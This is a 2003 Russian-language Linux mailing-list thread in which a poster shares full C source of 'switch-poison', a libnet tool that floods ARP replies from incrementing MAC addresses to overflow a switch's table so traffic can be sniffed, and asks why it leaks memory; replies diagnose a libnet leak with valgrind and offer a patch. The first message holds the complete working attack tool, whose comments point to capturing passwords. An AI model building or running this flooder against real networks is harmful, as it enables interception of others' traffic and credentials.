* [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec
@ 2003-08-21 6:30 Oleg K. Artemjev
2003-08-21 6:37 ` [Comm] " Michael Shigorin
` (2 more replies)
0 siblings, 3 replies; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21 6:30 UTC (permalink / raw)
To: community
Hi.
subj - на моем Master 2.0 нижевключенный код съедает по 1 метру свапа за одну-две секунды.
Почему? ?-)
И кто его потом прибивает? Я имею ввиду то, что не понятно, что убивает процесс
переевший swap space - к вечеру от программы остается только надпись 'killed'. То есть, вероятно,
это делает ядро, но от какой опции в menuconfig зависит такое поведение? ?-)
Железо:
[root@sky 2dig]# cat /proc/pci | tail -6
Bus 0, device 12, function 0:
Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8139 (rev 16).
IRQ 11.
Master Capable. Latency=32. Min Gnt=32.Max Lat=64.
I/O at 0xd400 [0xd4ff].
Non-prefetchable 32 bit memory at 0xe4800000 [0xe48000ff].
[root@sky 2dig]# uname -a
Linux sky.digger.org.ru 2.4.18-altlm2.0-custom #4 SMP Tue Jul 8 05:49:16 MSD 2003 i686 unknown
[root@sky 2dig]# cat /proc/meminfo
total: used: free: shared: buffers: cached:
Mem: 95490048 92807168 2682880 0 12468224 31305728
Swap: 443072512 41533440 401539072
MemTotal: 93252 kB
MemFree: 2620 kB
MemShared: 0 kB
Buffers: 12176 kB
Cached: 18988 kB
SwapCached: 11584 kB
Active: 52632 kB
Inactive: 23544 kB
HighTotal: 0 kB
HighFree: 0 kB
LowTotal: 93252 kB
LowFree: 2620 kB
SwapTotal: 432688 kB
SwapFree: 392128 kB
[root@sky 2dig]#
Код:
/*
* switch-poison.c - switching table poisoning - makes a
* commutator beheve almost like a hub
* with collission separation.
*
* This is a version especially adopted for commutators,
* meaning for switching table overfilling.
*
* Please note, - w/ tcp sessions 1st packet sent via switch
* contains session request & the second may then contain
* an acknowledge & the 3d - a password, thus if you've not
* enough bandwidth to refill all the switch commutation table
* memory (i.e. all it cache memory) between two packets,
* then you need some improvement for this code - all password
* most probably will be sent in the 1st reply packet. There're
* lot's of possible ways to do so - look at ettercap man
* page for most usefull & easy way, or you may try dsmiff, or
* there're more exotic ways. =)
*
* Based on arpoison v0.5 by Steve Buer - changed by
* olli <olli @ digger . org . ru>
*
* Changes: added a loop for src MAC changing, removed
* commandline options - hardcoded are already best addresses,
* if anyway wanna yours - recompile.
*
* ToDo: try to find most invisible way to overfill commutation
* table. Possible vectors are:
*
* 1. Use layer 2 protocols that doesn't interfer w/ IP-based
* stacks. I.e. use ETHERTYPE_LOOPBACK frames (man 3 libnet).
*
* 2. Use IPX or other stack that doesn't interfer with IP-based
* stacks.
*
* Why:
*
* 1. It may be usefull, since it may easily allow network
* investigation without injecting a sencible information.
*
* 2. Just for fun.
*
* BUGS: Current version eats swap space w/ a speed of 1Mb/sec on
* my dual PPro200 w/ 96 RAM w/ no daemons running on 10Mbit/s on
* Realtek 8139. At the end of avalible swap space it may be
* killed by monitoring rules or you may get other results...
*
*
* NO WARRANTY OF ANY KIND.
* EDUCATION ONLY.
*
*
* thanx2: all libnet developers,
* Steve Buer, author of original arpoison,
* Rserg <rserg @ mtcm . ru> .
*/
/* uncomment '#define debug 1' for reports on sent packets.*/
/*
#define debug 1
*/
#include <libnet.h>
#include <errno.h>
#include <unistd.h>
#include <stdio.h>
void get_ip_addr(struct in_addr *, char *);
int main(int argc, char *argv[])
{
/* various variables */
int n, c, c0, c1, c2, c3, c4, c5;
int packet_size = LIBNET_ETH_H + LIBNET_ARP_H;
u_long SrcIP, DstIP;
u_char *packet;
u_char *device;
char err_buf[LIBNET_ERRBUF_SIZE];
struct libnet_link_int *network;
unsigned int p[6];
u_char DstHW[6];
u_char SrcHW[6];
/* parse args */
if (argc != 1)
{
printf("No opts supported.");
printf("This 'll send lots of arp replies to MAC ff:ff:ff:ff:ff:ff,\n");
printf("from statically growing MAC with fromIP 224.0.0.1 &\n");
printf("destIP 224.0.0.1 via device eth0.\n");
printf("to change - change src & recompile.");
exit(1);
}
/* assign predefined values */
DstIP = inet_addr("224.0.0.1");
SrcIP = inet_addr("224.0.0.1");
device = "eth0";
n = sscanf("ff:ff:ff:ff:ff:ff", "%x:%x:%x:%x:%x:%x",
&p[0],&p[1],&p[2],&p[3],&p[4],&p[5]);
for (c = 0;c < 6;c++) {DstHW[c] = p[c];}
/* infinite loop - sending packets */
while (1)
{/*let MAC grow*/
for (c0=0;c0<255;c0++)
{SrcHW[0]=c0;
for (c1=0;c1<255;c1++)
{SrcHW[1]=c1;
for (c2=0;c2<255;c2++)
{SrcHW[2]=c2;
for (c3=0;c3<255;c3++)
{SrcHW[3]=c3;
for (c4=0;c4<255;c4++)
{SrcHW[4]=c4;
for (c5=0;c5<255;c5++)
{SrcHW[5]=c5;
/* --------------Packet construction & sending-------------------- */
/* allocate memory for packet */
n = libnet_init_packet(packet_size, &packet);
if(n != 1){printf("libnet_init_packet: error\n");exit(1);}
/* ethernet header */
n = libnet_build_ethernet(
DstHW, /* dst HW addr */
SrcHW, /* src HW addr */
0x0806, /* ether packet type */
NULL, /* ptr to payload */
0, /* payload size */
packet); /* ptr to packet memory */
if(n == -1){perror("libnet_build_ethernet"); exit(1);}
/* ARP header */
n = libnet_build_arp(
1, /* hardware type */
0x0800, /* proto type */
6, /* hw addr size */
4, /* proto addr size */
2, /* ARP REPLY */
SrcHW, /* source HW addr */
(u_char *)&SrcIP, /* src proto addr */
DstHW, /* dst HW addr */
(u_char *)&DstIP, /* dst IP addr */
NULL, /* no payload */
0, /* payload length */
packet + LIBNET_ETH_H); /* packet buffer memory */
if (n == -1) {perror("libnet_build_arp");exit(1);}
/* open the link-layer interface */
network = libnet_open_link_interface(device, err_buf);
if (network == NULL){perror("libnet_open_link_interface");exit(1);}
/* inject the mofo !! */
n = libnet_write_link_layer(network,device,packet,packet_size);
if (n < packet_size)
{printf("libnet_write_link_layer only wrote %d of %d bytes\n",n,
packet_size);
}
#ifdef debug
/* output */
printf("ARP packet sent via %s\n", device);
#endif
/* Shut down the interface */
n = libnet_close_link_interface(network);
if (n == -1){perror("libnet_close_link_interface");exit(1);}
/* free packet memory */
libnet_destroy_packet(&packet);
/*--------------Packet construction & sending--------------------*/
} /* for c5 */
} /* for c4 */
} /* for c3 */
} /* for c2 */
} /* for c1 */
} /* for c0 */
} /* while(1)*/
}
Собирается так:
-----------------------------------------------------------------------------------------------------
all: arpoison switch-poison
clean:
rm -f arpoison
rm -f switch-poison
arpoison: arpoison.c
gcc -Wall `libnet-config --defines` arpoison.c -o arpoison `libnet-config --libs`
switch-poison: switch-poison.c
gcc -Wall `libnet-config --defines` switch-poison.c -o switch-poison `libnet-config --libs`
install:
cp -f arpoison switch-poison /hbin
-----------------------------------------------------------------------------------------------------
--
Bye.Olli. http://olli.digger.org.ru
^ permalink raw reply [flat|nested] 18+ messages in thread
* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 6:30 [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec Oleg K. Artemjev
@ 2003-08-21 6:37 ` Michael Shigorin
2003-08-21 8:13 ` Oleg K. Artemjev
2003-08-21 7:12 ` [Comm] " Sasha Martsinuk
2003-08-21 10:53 ` [Comm] " Alexey Tourbin
2 siblings, 1 reply; 18+ messages in thread
From: Michael Shigorin @ 2003-08-21 6:37 UTC (permalink / raw)
To: community
On Thu, Aug 21, 2003 at 10:30:01AM +0400, Oleg K. Artemjev wrote:
> надпись 'killed'. То есть, вероятно, это делает ядро, но от
> какой опции в menuconfig зависит такое поведение? ?-)
OOM?
--
---- WBR, Michael Shigorin <mike@altlinux.ru>
------ Linux.Kiev http://www.linux.kiev.ua/
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 6:30 [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec Oleg K. Artemjev
2003-08-21 6:37 ` [Comm] " Michael Shigorin
@ 2003-08-21 7:12 ` Sasha Martsinuk
2003-08-21 8:10 ` Oleg K. Artemjev
2003-08-21 10:53 ` [Comm] " Alexey Tourbin
2 siblings, 1 reply; 18+ messages in thread
From: Sasha Martsinuk @ 2003-08-21 7:12 UTC (permalink / raw)
To: Oleg K. Artemjev
Здравствуйте, Oleg.
Вы писали 21 августа 2003 г., 9:30:01:
OKA> Hi.
OKA> subj - на моем Master 2.0 нижевключенный код съедает по 1 метру свапа за одну-две секунды.
OKA> Почему? ?-)
OKA> И кто его потом прибивает? Я имею ввиду то, что не понятно, что убивает процесс
OKA> переевший swap space - к вечеру от программы остается только надпись 'killed'. То есть, вероятно,
OKA> это делает ядро, но от какой опции в menuconfig зависит такое поведение? ?-)
<skip/>
OKA> * BUGS: Current version eats swap space w/ a speed of 1Mb/sec on
OKA> * my dual PPro200 w/ 96 RAM w/ no daemons running on 10Mbit/s on
OKA> * Realtek 8139. At the end of avalible swap space it may be
OKA> * killed by monitoring rules or you may get other results...
Это цитата из приведённого тобой кода, где автора прямо признают эту
багу.
--
С уважением,
Sasha mailto:scampler@ukr.net
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 7:12 ` [Comm] " Sasha Martsinuk
@ 2003-08-21 8:10 ` Oleg K. Artemjev
2003-08-21 8:28 ` Alexey I. Froloff
0 siblings, 1 reply; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21 8:10 UTC (permalink / raw)
To: community
On Thu, 21 Aug 2003 10:12:33 +0300
Sasha Martsinuk <scampler@ukr.net> wrote:
> OKA> subj - на моем Master 2.0 нижевключенный код съедает по 1 метру свапа за одну-две секунды.
> OKA> Почему? ?-)
> OKA> И кто его потом прибивает? Я имею ввиду то, что не понятно, что убивает процесс
> OKA> переевший swap space - к вечеру от программы остается только надпись 'killed'. То есть, вероятно,
> OKA> это делает ядро, но от какой опции в menuconfig зависит такое поведение? ?-)
вопрос все еще открыт. ;-)
> OKA> * BUGS: Current version eats swap space w/ a speed of 1Mb/sec on
> OKA> * my dual PPro200 w/ 96 RAM w/ no daemons running on 10Mbit/s on
> OKA> * Realtek 8139. At the end of avalible swap space it may be
> OKA> * killed by monitoring rules or you may get other results...
> Это цитата из приведённого тобой кода, где автора прямо признают эту
> багу.
Я рад что меня начинают цитировать ;-))), но вот беда - решение вопроса от этого ближе не
становится. =)
Этот самый arpoison модифицировал я - всего то делов - взять справочник по цэ, отодрать
командные опции, сделать цикл под перебор MAC по возрастанию - задача для второкурсника
(на первом курсе цэ не проходят). Так что про автора это слишком громко сказано - я всего
лишь адаптировал код под свои задачи. =)
Вопрос, собственно, был к знающим программирование и работавшим с libnet - что я сделал не так?
Варианты:
*) вынести за цикл libnet_init_packet/libnet_destroy_packet?
*) вставить некий вызов на освобождение памяти?
*) вставить паузу по случаю нереентерабельности какой либо из функций?
--
Bye.Olli. http://olli.digger.org.ru
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 6:37 ` [Comm] " Michael Shigorin
@ 2003-08-21 8:13 ` Oleg K. Artemjev
2003-08-21 10:16 ` Michael Shigorin
0 siblings, 1 reply; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21 8:13 UTC (permalink / raw)
To: community
On Thu, 21 Aug 2003 09:37:33 +0300
Michael Shigorin <mike@osdn.org.ua> wrote:
> On Thu, Aug 21, 2003 at 10:30:01AM +0400, Oleg K. Artemjev wrote:
> > надпись 'killed'. То есть, вероятно, это делает ядро, но от
> > какой опции в menuconfig зависит такое поведение? ?-)
> OOM?
мм.. не понял. можно с путями относительно верхней точки меню? Ибо ядро
я так хорошо пока не помню.. :(
--
Bye.Olli. http://olli.digger.org.ru
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 8:10 ` Oleg K. Artemjev
@ 2003-08-21 8:28 ` Alexey I. Froloff
0 siblings, 0 replies; 18+ messages in thread
From: Alexey I. Froloff @ 2003-08-21 8:28 UTC (permalink / raw)
To: community
[-- Attachment #1: Type: text/plain, Size: 684 bytes --]
* Oleg K. Artemjev <olli@rbauto.ru> [030821 12:12]:
> Вопрос, собственно, был к знающим программирование и работавшим
> с libnet - что я сделал не так?
> Варианты:
> *) вынести за цикл libnet_init_packet/libnet_destroy_packet?
> *) вставить некий вызов на освобождение памяти?
> *) вставить паузу по случаю нереентерабельности какой либо из функций?
Для начала можно прогнать это через какой-ньдь gprof и посмотреть
кто именно течёт с такой скоростью...
--
Regards, Sir Raorn.
-------------------
Пользователям почтового клиента sylpheed следует быть предельно
осторожными во время сегодняшнего обновления. Завтра эта проблема, скорее
всего, будет устранена.
-- ldv in sisyphus@
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 18+ messages in thread
* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 8:13 ` Oleg K. Artemjev
@ 2003-08-21 10:16 ` Michael Shigorin
2003-08-21 10:39 ` Oleg K. Artemjev
0 siblings, 1 reply; 18+ messages in thread
From: Michael Shigorin @ 2003-08-21 10:16 UTC (permalink / raw)
To: community
On Thu, Aug 21, 2003 at 12:13:44PM +0400, Oleg K. Artemjev wrote:
> > > надпись 'killed'. То есть, вероятно, это делает ядро, но от
> > > какой опции в menuconfig зависит такое поведение? ?-)
> > OOM?
> мм.. не понял. можно с путями относительно верхней точки меню?
А, оно ж вроде неменюконфигурируемое...
--
---- WBR, Michael Shigorin <mike@altlinux.ru>
------ Linux.Kiev http://www.linux.kiev.ua/
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 10:16 ` Michael Shigorin
@ 2003-08-21 10:39 ` Oleg K. Artemjev
2003-08-21 11:01 ` Michael Shigorin
0 siblings, 1 reply; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21 10:39 UTC (permalink / raw)
To: community
On Thu, 21 Aug 2003 13:16:16 +0300
Michael Shigorin <mike@osdn.org.ua> wrote:
> On Thu, Aug 21, 2003 at 12:13:44PM +0400, Oleg K. Artemjev wrote:
> > > > надпись 'killed'. То есть, вероятно, это делает ядро, но от
> > > > какой опции в menuconfig зависит такое поведение? ?-)
> > > OOM?
> > мм.. не понял. можно с путями относительно верхней точки меню?
> А, оно ж вроде неменюконфигурируемое...
Или я торможу основательно, или одно из трех. ;-) Я собственно о том, что
раз прогу прибивает ядро, то где-то в дебрях 'cd /usr/src/linux;make menuconfig'
есть опция которая за это отвечает. А может и нет опции - все равно все бы и
так включали - кому охота oops видеть.. А о чем Вы? %)
--
Bye.Olli. http://olli.digger.org.ru
^ permalink raw reply [flat|nested] 18+ messages in thread
* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 6:30 [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec Oleg K. Artemjev
2003-08-21 6:37 ` [Comm] " Michael Shigorin
2003-08-21 7:12 ` [Comm] " Sasha Martsinuk
@ 2003-08-21 10:53 ` Alexey Tourbin
2003-08-21 11:04 ` Alexey Tourbin
2003-08-21 12:12 ` Oleg K. Artemjev
2 siblings, 2 replies; 18+ messages in thread
From: Alexey Tourbin @ 2003-08-21 10:53 UTC (permalink / raw)
To: community
[-- Attachment #1: Type: text/plain, Size: 1602 bytes --]
On Thu, Aug 21, 2003 at 10:30:01AM +0400, Oleg K. Artemjev wrote:
> network = libnet_open_link_interface(device, err_buf);
Кажись в этом месте libnet протекает.
==7053== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)
==7053== malloc/free: in use at exit: 1040400 bytes in 65025 blocks.
==7053== malloc/free: 130050 allocs, 65025 frees, 3771450 bytes allocated.
==7053== For counts of detected errors, rerun with: -v
==7053== searching for pointers to 65025 not-freed blocks.
==7053== checked 4332012 bytes.
==7053==
==7053== 1760 bytes in 110 blocks are possibly lost in loss record 2 of 3
==7053== at 0x26C38F: malloc (vg_clientfuncs.c:103)
==7053== by 0x3202F1: libnet_open_link_interface (libnet_link_sockpacket.c:88)
==7053== by 0x8048A13: main (arpoison.c:150)
==7053== by 0x33C661: __libc_start_main (in /lib/libc-2.2.6.so)
==7053==
==7053== 1038304 bytes in 64894 blocks are definitely lost in loss record 3 of 3
==7053== at 0x26C38F: malloc (vg_clientfuncs.c:103)
==7053== by 0x3202F1: libnet_open_link_interface (libnet_link_sockpacket.c:88)
==7053== by 0x8048A13: main (arpoison.c:150)
==7053== by 0x33C661: __libc_start_main (in /lib/libc-2.2.6.so)
==7053==
==7053== LEAK SUMMARY:
==7053== definitely lost: 1038304 bytes in 64894 blocks.
==7053== possibly lost: 1760 bytes in 110 blocks.
==7053== still reachable: 336 bytes in 21 blocks.
==7053== suppressed: 0 bytes in 0 blocks.
==7053== Reachable blocks (those to which a pointer was found) are not shown.
==7053== To see them, rerun with: --show-reachable=yes
==7053==
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 18+ messages in thread
* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 10:39 ` Oleg K. Artemjev
@ 2003-08-21 11:01 ` Michael Shigorin
0 siblings, 0 replies; 18+ messages in thread
From: Michael Shigorin @ 2003-08-21 11:01 UTC (permalink / raw)
To: community
On Thu, Aug 21, 2003 at 02:39:58PM +0400, Oleg K. Artemjev wrote:
> > > > OOM?
> > > мм.. не понял. можно с путями относительно верхней точки меню?
> > А, оно ж вроде неменюконфигурируемое...
> Или я торможу основательно, или одно из трех. ;-) Я собственно
> о том, что раз прогу прибивает ядро, то где-то в дебрях 'cd
> /usr/src/linux;make menuconfig' есть опция которая за это
> отвечает. А может и нет опции - все равно все бы и так включали
> - кому охота oops видеть.. А о чем Вы? %)
Я о том, что с 2.4.что-то Out Of Memory killer вроде как
безусловно включен. Жестких конфиликтов у него со мной не было,
посему голову не забивал. :)
--
---- WBR, Michael Shigorin <mike@altlinux.ru>
------ Linux.Kiev http://www.linux.kiev.ua/
^ permalink raw reply [flat|nested] 18+ messages in thread
* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 10:53 ` [Comm] " Alexey Tourbin
@ 2003-08-21 11:04 ` Alexey Tourbin
2003-08-21 11:24 ` Alexey I. Froloff
2003-08-21 12:12 ` Oleg K. Artemjev
1 sibling, 1 reply; 18+ messages in thread
From: Alexey Tourbin @ 2003-08-21 11:04 UTC (permalink / raw)
To: community
[-- Attachment #1.1: Type: text/plain, Size: 192 bytes --]
On Thu, Aug 21, 2003 at 02:53:47PM +0400, Alexey Tourbin wrote:
> Кажись в этом месте libnet протекает.
Точняк. Попробуйте пересобрать libnet1 с вот этим патчем и посмотреть,
течёт или нет.
[-- Attachment #1.2: libnet-1.0.2a-alt-memory-leak.patch --]
[-- Type: text/plain, Size: 420 bytes --]
--- Libnet-1.0.2a/src/libnet_link_sockpacket.c~ 2001-01-07 18:53:44 +0000
+++ Libnet-1.0.2a/src/libnet_link_sockpacket.c 2003-08-21 11:01:17 +0000
@@ -167,14 +167,9 @@ bad:
int
libnet_close_link_interface(struct libnet_link_int *l)
{
- if (close(l->fd) == 0)
- {
- return (1);
- }
- else
- {
- return (-1);
- }
+ int rv = close(l->fd);
+ free(l);
+ return rv ? -1 : 1;
}
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 11:04 ` Alexey Tourbin
@ 2003-08-21 11:24 ` Alexey I. Froloff
2003-08-21 11:30 ` Alexey Tourbin
0 siblings, 1 reply; 18+ messages in thread
From: Alexey I. Froloff @ 2003-08-21 11:24 UTC (permalink / raw)
To: community
[-- Attachment #1: Type: text/plain, Size: 422 bytes --]
* Alexey Tourbin <at@altlinux.ru> [030821 15:10]:
> > Кажись в этом месте libnet протекает.
> Точняк. Попробуйте пересобрать libnet1 с вот этим патчем и
> посмотреть, течёт или нет.
Это завит от того, кто выделяет память под этот l... Если клиент,
то пусть сам клиент это и освобождает...
--
Regards, Sir Raorn.
-------------------
Конечно, можно сделать fork+pipe, но это уже совсем другая история.
-- ldv in devel@
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 18+ messages in thread
* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 11:24 ` Alexey I. Froloff
@ 2003-08-21 11:30 ` Alexey Tourbin
2003-08-21 12:55 ` Alexey Tourbin
0 siblings, 1 reply; 18+ messages in thread
From: Alexey Tourbin @ 2003-08-21 11:30 UTC (permalink / raw)
To: community
[-- Attachment #1: Type: text/plain, Size: 448 bytes --]
On Thu, Aug 21, 2003 at 03:24:45PM +0400, Alexey I. Froloff wrote:
> > Точняк. Попробуйте пересобрать libnet1 с вот этим патчем и
> > посмотреть, течёт или нет.
> Это завит от того, кто выделяет память под этот l... Если клиент,
> то пусть сам клиент это и освобождает...
Конечно. Память выделяется в функции libnet_open_link_interface, а я
зафиксил функцию libnet_close_link_interface. В сущности, этого хорошо
видно из двух предыдущих писем.
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 10:53 ` [Comm] " Alexey Tourbin
2003-08-21 11:04 ` Alexey Tourbin
@ 2003-08-21 12:12 ` Oleg K. Artemjev
2003-08-21 12:46 ` Sergey Vlasov
2003-08-21 12:54 ` Alexey Tourbin
1 sibling, 2 replies; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21 12:12 UTC (permalink / raw)
To: community
On Thu, 21 Aug 2003 14:53:47 +0400
Alexey Tourbin <at@altlinux.ru> wrote:
> On Thu, Aug 21, 2003 at 10:30:01AM +0400, Oleg K. Artemjev wrote:
> > network = libnet_open_link_interface(device, err_buf);
> Кажись в этом месте libnet протекает.
Расскажите, пожалуйста, двоечнику - какой программе и (как)/(с какими опциями) вы
мое поделие скормили? ?-) Есть, кстати, в природе какое нить _небольшое_ howto по
catching memory leakage? ?)~
> ==7053== 1760 bytes in 110 blocks are possibly lost in loss record 2 of 3
> ==7053== at 0x26C38F: malloc (vg_clientfuncs.c:103)
> ==7053== by 0x3202F1: libnet_open_link_interface (libnet_link_sockpacket.c:88)
> ==7053== by 0x8048A13: main (arpoison.c:150)
> ==7053== by 0x33C661: __libc_start_main (in /lib/libc-2.2.6.so)
> ==7053== 1038304 bytes in 64894 blocks are definitely lost in loss record 3 of 3
> ==7053== at 0x26C38F: malloc (vg_clientfuncs.c:103)
> ==7053== by 0x3202F1: libnet_open_link_interface (libnet_link_sockpacket.c:88)
> ==7053== by 0x8048A13: main (arpoison.c:150)
> ==7053== by 0x33C661: __libc_start_main (in /lib/libc-2.2.6.so)
> ==7053== LEAK SUMMARY:
> ==7053== definitely lost: 1038304 bytes in 64894 blocks.
> ==7053== possibly lost: 1760 bytes in 110 blocks.
> ==7053== still reachable: 336 bytes in 21 blocks.
> ==7053== suppressed: 0 bytes in 0 blocks.
> ==7053== Reachable blocks (those to which a pointer was found) are not shown.
> ==7053== To see them, rerun with: --show-reachable=yes
> ==7053==
>
--
Bye.Olli. http://olli.digger.org.ru
^ permalink raw reply [flat|nested] 18+ messages in thread
* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 12:12 ` Oleg K. Artemjev
@ 2003-08-21 12:46 ` Sergey Vlasov
2003-08-21 12:54 ` Alexey Tourbin
1 sibling, 0 replies; 18+ messages in thread
From: Sergey Vlasov @ 2003-08-21 12:46 UTC (permalink / raw)
To: community
On Thu, 21 Aug 2003 16:12:02 +0400
"Oleg K. Artemjev" <olli@rbauto.ru> wrote:
> On Thu, 21 Aug 2003 14:53:47 +0400
> Alexey Tourbin <at@altlinux.ru> wrote:
>
> > On Thu, Aug 21, 2003 at 10:30:01AM +0400, Oleg K. Artemjev wrote:
> > > network = libnet_open_link_interface(device, err_buf);
> > Кажись в этом месте libnet протекает.
> Расскажите, пожалуйста, двоечнику - какой программе и (как)/(с какими опциями) вы
> мое поделие скормили? ?-) Есть, кстати, в природе какое нить _небольшое_ howto по
> catching memory leakage? ?)~
>
> > ==7053== 1760 bytes in 110 blocks are possibly lost in loss record 2 of 3
valgrind, в Мастере 2.2 есть, в Сизифе версия поновее. Помимо утечек,
умеет отлавливать, например, различные виды неверной работы с памятью:
использование неинициализированных данных, обращение за пределы
выделенных областей, повторное освобождение памяти, использование
неверного метода освобождения (free/delete/delete[]), ...
^ permalink raw reply [flat|nested] 18+ messages in thread
* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 12:12 ` Oleg K. Artemjev
2003-08-21 12:46 ` Sergey Vlasov
@ 2003-08-21 12:54 ` Alexey Tourbin
2003-08-21 13:17 ` Oleg K. Artemjev
1 sibling, 1 reply; 18+ messages in thread
From: Alexey Tourbin @ 2003-08-21 12:54 UTC (permalink / raw)
To: community
[-- Attachment #1: Type: text/plain, Size: 690 bytes --]
On Thu, Aug 21, 2003 at 04:12:02PM +0400, Oleg K. Artemjev wrote:
> Расскажите, пожалуйста, двоечнику - какой программе и (как)/(с какими опциями) вы
> мое поделие скормили? ?-) Есть, кстати, в природе какое нить _небольшое_ howto по
> catching memory leakage? ?)~
# valgrind --leak-check=yes ./arpoison
Мне уже по голове настучали. :)
На самом деле я немного модифицировал программу, пропустив 4 внутренних
цикла, т.е. чтобы SrcHW[2] = SrcHW[3] = SrcHW[4] = SrcHW[5] = 0,
чтобы она побыстрее свое черное дело сделала.
Но сначала пересобрать libnet1:
$ rpm --rebuild --enable debug libnet1-1.0.2a-ipl3mdk.src.rpm L
# rpm -Uvh --force /home/at/RPM/RPMS/*/libnet1-*1.0.2a-ipl3mdk.*.rpm
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 18+ messages in thread
* [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 11:30 ` Alexey Tourbin
@ 2003-08-21 12:55 ` Alexey Tourbin
0 siblings, 0 replies; 18+ messages in thread
From: Alexey Tourbin @ 2003-08-21 12:55 UTC (permalink / raw)
To: community
[-- Attachment #1.1: Type: text/plain, Size: 322 bytes --]
On Thu, Aug 21, 2003 at 03:30:56PM +0400, Alexey Tourbin wrote:
> Конечно. Память выделяется в функции libnet_open_link_interface, а я
> зафиксил функцию libnet_close_link_interface. В сущности, этого хорошо
> видно из двух предыдущих писем.
Вот testcase (пускать из-под рута).
В libnet2 aka libnet-1.x уже исправлено.
[-- Attachment #1.2: test-libnet1.c --]
[-- Type: text/plain, Size: 253 bytes --]
#include <stdio.h>
#include <libnet.h>
int main()
{
while(1) {
char buf[LIBNET_ERRBUF_SIZE];
struct libnet_link_int *network =
libnet_open_link_interface("eth0", buf);
if (network)
libnet_close_link_interface(network);
}
}
[-- Attachment #2: Type: application/pgp-signature, Size: 189 bytes --]
^ permalink raw reply [flat|nested] 18+ messages in thread
* Re: [Comm] Re: ?: почему эта программа жрет swap w/ speed 1Mb/sec
2003-08-21 12:54 ` Alexey Tourbin
@ 2003-08-21 13:17 ` Oleg K. Artemjev
0 siblings, 0 replies; 18+ messages in thread
From: Oleg K. Artemjev @ 2003-08-21 13:17 UTC (permalink / raw)
To: community
On Thu, 21 Aug 2003 16:54:44 +0400
Alexey Tourbin <at@altlinux.ru> wrote:
> > Расскажите, пожалуйста, двоечнику - какой программе и (как)/(с какими опциями) вы
> > мое поделие скормили? ?-) Есть, кстати, в природе какое нить _небольшое_ howto по
> > catching memory leakage? ?)~
> # valgrind --leak-check=yes ./arpoison
cпасибо. :)
> Мне уже по голове настучали. :)
За нечаянно потравленный кэш Вашего свитча? ?-) Впрочем если железка интеллектуальная, то все не
так просто - у грамотных админов она будет вопить в логах (если у Вас статические таблицы
комутации на портах) и просто дропать этот траффик, но это только если железку мониторят.
> На самом деле я немного модифицировал программу, пропустив 4 внутренних
> цикла, т.е. чтобы SrcHW[2] = SrcHW[3] = SrcHW[4] = SrcHW[5] = 0,
> чтобы она побыстрее свое черное дело сделала.
> Но сначала пересобрать libnet1:
> $ rpm --rebuild --enable debug libnet1-1.0.2a-ipl3mdk.src.rpm L
> # rpm -Uvh --force /home/at/RPM/RPMS/*/libnet1-*1.0.2a-ipl3mdk.*.rpm
cпасибо. :)
--
Bye.Olli. http://olli.digger.org.ru
^ permalink raw reply [flat|nested] 18+ messages in thread
end of thread, other threads:[~2003-08-21 13:17 UTC | newest]
Thread overview: 18+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2003-08-21 6:30 [Comm] ?: почему эта программа жрет swap w/ speed 1Mb/sec Oleg K. Artemjev
2003-08-21 6:37 ` [Comm] " Michael Shigorin
2003-08-21 8:13 ` Oleg K. Artemjev
2003-08-21 10:16 ` Michael Shigorin
2003-08-21 10:39 ` Oleg K. Artemjev
2003-08-21 11:01 ` Michael Shigorin
2003-08-21 7:12 ` [Comm] " Sasha Martsinuk
2003-08-21 8:10 ` Oleg K. Artemjev
2003-08-21 8:28 ` Alexey I. Froloff
2003-08-21 10:53 ` [Comm] " Alexey Tourbin
2003-08-21 11:04 ` Alexey Tourbin
2003-08-21 11:24 ` Alexey I. Froloff
2003-08-21 11:30 ` Alexey Tourbin
